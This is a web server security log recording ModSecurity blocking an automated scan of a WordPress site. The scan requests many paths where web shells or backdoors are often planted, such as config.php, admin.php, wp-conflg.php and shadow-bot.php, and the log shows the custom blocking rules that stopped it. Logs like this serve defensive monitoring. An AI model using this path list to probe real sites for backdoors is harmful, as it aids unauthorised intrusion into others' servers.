[Sun May 10 08:23:11.570759 2026] [:error] [pid 46329:tid 46348] [client 85.203.23.168:65341] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentynineteen/sass/site/primary/"] [unique_id "af_P7-Fo7Z2I88d0gPJP9wAAAA8"]
[Sun May 10 08:23:11.757421 2026] [:error] [pid 46329:tid 46350] [client 85.203.23.169:28483] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/themes/admin.php"] [unique_id "af_P7-Fo7Z2I88d0gPJP-AAAABE"]
[Sun May 10 08:23:11.969040 2026] [:error] [pid 46329:tid 46341] [client 85.203.23.203:30477] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/consultstreet/config.php"] [unique_id "af_P7-Fo7Z2I88d0gPJP-QAAAAg"]
[Sun May 10 08:23:12.156564 2026] [:error] [pid 46329:tid 46349] [client 85.203.23.200:31589] [client 85.203.23.200] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/blogger-buzz/welcome/js/"] [unique_id "af_P8OFo7Z2I88d0gPJP-gAAABA"]
[Sun May 10 08:23:12.358743 2026] [:error] [pid 46329:tid 46340] [client 85.203.23.172:28787] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/mesmerize/page-templates/"] [unique_id "af_P8OFo7Z2I88d0gPJP-wAAAAc"]
[Sun May 10 08:23:12.555647 2026] [:error] [pid 46331:tid 46395] [client 85.203.23.196:22739] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "af_P8AP02hpYETwsZpgS6QAAAJI"]
[Sun May 10 08:23:12.761867 2026] [:error] [pid 46329:tid 46344] [client 85.203.23.218:41397] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/hello-elementor/template-parts/"] [unique_id "af_P8OFo7Z2I88d0gPJP_QAAAAs"]
[Sun May 10 08:23:12.978058 2026] [:error] [pid 46330:tid 46411] [client 85.203.23.209:26773] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/Divi/includes/builder/post/taxonomy/"] [unique_id "af_P8Iztrhd3evDQvs82tQAAAFc"]
[Sun May 10 08:23:13.163842 2026] [:error] [pid 46329:tid 46351] [client 85.203.23.203:24763] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/system.php"] [unique_id "af_P8eFo7Z2I88d0gPJP_gAAABI"]
[Sun May 10 08:23:13.367907 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.203:21993] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/module.php"] [unique_id "af_P8dwp8XoWCwFb54CS-gAAAMg"]
[Sun May 10 08:23:13.557857 2026] [:error] [pid 46329:tid 46336] [client 85.203.23.204:53663] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/test.php"] [unique_id "af_P8eFo7Z2I88d0gPJQAAAAAAM"]
[Sun May 10 08:23:13.769156 2026] [:error] [pid 46330:tid 46400] [client 85.203.23.180:23305] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/blog-kit/inc/demo/demo-content/"] [unique_id "af_P8Yztrhd3evDQvs82tgAAAFE"]
[Sun May 10 08:23:13.973175 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.199:58005] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/flatsome/inc/"] [unique_id "af_P8Yztrhd3evDQvs82twAAAEU"]
[Sun May 10 08:23:14.171841 2026] [:error] [pid 46417:tid 46440] [client 85.203.23.205:40051] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/config.php"] [unique_id "af_P8mInm7mhwgbe48ZoDwAAARU"]
[Sun May 10 08:23:14.387686 2026] [:error] [pid 52634:tid 52653] [client 85.203.23.186:42729] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/config.php"] [unique_id "af_P8twp8XoWCwFb54CS-wAAAM8"]
[Sun May 10 08:23:14.576476 2026] [:error] [pid 46331:tid 46380] [client 85.203.23.173:53703] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/config.php"] [unique_id "af_P8gP02hpYETwsZpgS6gAAAIo"]
[Sun May 10 08:23:14.763487 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.225:24511] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/config.php"] [unique_id "af_P8twp8XoWCwFb54CS_QAAAMY"]
[Sun May 10 08:23:14.965195 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.169:21489] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bootstrap.php"] [unique_id "af_P8twp8XoWCwFb54CS_gAAAMM"]
[Sun May 10 08:23:15.175824 2026] [:error] [pid 46331:tid 46363] [client 85.203.23.206:42321] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/panel.php"] [unique_id "af_P8wP02hpYETwsZpgS7QAAAII"]
[Sun May 10 08:23:15.371449 2026] [:error] [pid 46329:tid 46333] [client 85.203.23.222:42555] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/"] [unique_id "af_P8-Fo7Z2I88d0gPJQAQAAAAA"]
[Sun May 10 08:23:15.569833 2026] [:error] [pid 46330:tid 46391] [client 85.203.23.196:47183] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-image.php"] [unique_id "af_P84ztrhd3evDQvs82uQAAAE0"]
[Sun May 10 08:23:16.063459 2026] [:error] [pid 46330:tid 46384] [client 85.203.23.195:33277] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "af_P9Iztrhd3evDQvs82uwAAAEo"]
[Sun May 10 08:23:16.544504 2026] [:error] [pid 46330:tid 46369] [client 85.203.23.223:61747] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/php-compat/shadow-bot.php"] [unique_id "af_P9Iztrhd3evDQvs82vAAAAEE"]
[Sun May 10 08:23:16.779325 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.208:64435] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/config.php"] [unique_id "af_P9Iztrhd3evDQvs82vQAAAEY"]
[Sun May 10 08:23:16.964007 2026] [:error] [pid 46329:tid 46342] [client 85.203.23.191:63849] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/config.php"] [unique_id "af_P9OFo7Z2I88d0gPJQBAAAAAk"]
[Sun May 10 08:23:17.161426 2026] [:error] [pid 46330:tid 46381] [client 85.203.23.188:42037] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/src/config.php"] [unique_id "af_P9Yztrhd3evDQvs82vwAAAEg"]
[Sun May 10 08:23:17.361049 2026] [:error] [pid 46330:tid 46394] [client 85.203.23.204:32655] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/config.php"] [unique_id "af_P9Yztrhd3evDQvs82wAAAAE4"]
[Sun May 10 08:23:27.573314 2026] [:error] [pid 46331:tid 46407] [client 85.203.23.225:52185] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/config.php"] [unique_id "af_P_wP02hpYETwsZpgS9AAAAJg"]
[Sun May 10 08:23:32.766363 2026] [:error] [pid 46329:tid 46344] [client 85.203.23.208:54503] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/config.php"] [unique_id "af_QBOFo7Z2I88d0gPJQBwAAAAs"]
[Sun May 10 08:23:32.969606 2026] [:error] [pid 46417:tid 46437] [client 85.203.23.210:61891] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/config.php"] [unique_id "af_QBGInm7mhwgbe48ZoHQAAARI"]
[Sun May 10 08:23:33.165804 2026] [:error] [pid 46329:tid 46346] [client 85.203.23.225:32573] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "af_QBeFo7Z2I88d0gPJQCAAAAA0"]
[Sun May 10 08:23:33.365735 2026] [:error] [pid 46329:tid 46336] [client 85.203.23.166:51275] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/cache/config.php"] [unique_id "af_QBeFo7Z2I88d0gPJQCQAAAAM"]
[Sun May 10 08:23:33.557426 2026] [:error] [pid 46329:tid 46356] [client 85.203.23.181:48561] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-cloudflare-super-page-cache/config.php"] [unique_id "af_QBeFo7Z2I88d0gPJQCwAAABc"]
[Sun May 10 08:23:33.755526 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.173:54765] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/library/"] [unique_id "af_QBWInm7mhwgbe48ZoHgAAAQk"]
[Sun May 10 08:23:33.958763 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.216:42577] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/abilities-api/"] [unique_id "af_QBQP02hpYETwsZpgS-gAAAI0"]
[Sun May 10 08:23:34.187473 2026] [:error] [pid 46331:tid 46407] [client 85.203.23.197:57783] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/loco/"] [unique_id "af_QBgP02hpYETwsZpgS_AAAAJg"]
[Sun May 10 08:23:34.694667 2026] [:error] [pid 46331:tid 46363] [client 85.203.23.206:52325] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/"] [unique_id "af_QBgP02hpYETwsZpgS_wAAAII"]
[Sun May 10 08:23:34.876830 2026] [:error] [pid 46331:tid 46365] [client 85.203.23.182:44641] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/class-theme-installer-skin-client.php"] [unique_id "af_QBgP02hpYETwsZpgTAAAAAIM"]
[Sun May 10 08:23:35.064585 2026] [:error] [pid 46329:tid 46352] [client 85.203.23.222:38873] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-recovery-mode-link-service-edit.php"] [unique_id "af_QB-Fo7Z2I88d0gPJQDAAAABM"]
[Sun May 10 08:23:35.264096 2026] [:error] [pid 46331:tid 46383] [client 85.203.23.192:37821] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user-new-reference.php"] [unique_id "af_QBwP02hpYETwsZpgTAQAAAIs"]
[Sun May 10 08:23:35.460058 2026] [:error] [pid 46331:tid 46397] [client 85.203.23.172:20505] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/stripe/stripe-php/lib/FinancialConnections/"] [unique_id "af_QBwP02hpYETwsZpgTAgAAAJM"]
[Sun May 10 08:23:35.655232 2026] [:error] [pid 46331:tid 46366] [client 85.203.23.189:34717] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/stripe/stripe-php/lib/Service/FinancialConnections/"] [unique_id "af_QBwP02hpYETwsZpgTAwAAAIQ"]
[Sun May 10 08:23:35.860947 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.173:64597] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-excerpt-meta.php"] [unique_id "af_QB9wp8XoWCwFb54CTCQAAAMk"]
[Sun May 10 08:23:36.063400 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.212:20177] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-http.php"] [unique_id "af_QCNwp8XoWCwFb54CTCgAAAMQ"]
[Sun May 10 08:23:36.255658 2026] [:error] [pid 46329:tid 46333] [client 85.203.23.216:42063] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "af_QCOFo7Z2I88d0gPJQDQAAAAA"]
[Sun May 10 08:23:36.455906 2026] [:error] [pid 46329:tid 46343] [client 85.203.23.222:41195] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "af_QCOFo7Z2I88d0gPJQDgAAAAo"]
[Sun May 10 08:23:36.656313 2026] [:error] [pid 46329:tid 46342] [client 85.203.23.206:48121] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "af_QCOFo7Z2I88d0gPJQDwAAAAk"]
[Sun May 10 08:23:36.862549 2026] [:error] [pid 46329:tid 46337] [client 85.203.23.177:42455] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/logs1.php"] [unique_id "af_QCOFo7Z2I88d0gPJQEAAAAAQ"]
[Sun May 10 08:23:37.056772 2026] [:error] [pid 46329:tid 46334] [client 85.203.23.182:50169] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/admin.php"] [unique_id "af_QCeFo7Z2I88d0gPJQEQAAAAE"]
[Sun May 10 08:23:37.252904 2026] [:error] [pid 52634:tid 52659] [client 85.203.23.215:43627] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/xy.php"] [unique_id "af_QCdwp8XoWCwFb54CTDAAAANU"]
[Sun May 10 08:23:37.454070 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.204:36317] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xy.php"] [unique_id "af_QCdwp8XoWCwFb54CTDwAAAMg"]
[Sun May 10 08:23:37.651638 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.188:26153] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-class.php"] [unique_id "af_QCdwp8XoWCwFb54CTEAAAANY"]
[Sun May 10 08:23:37.878370 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.188:20169] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/good.php"] [unique_id "af_QCdwp8XoWCwFb54CTEQAAAMc"]
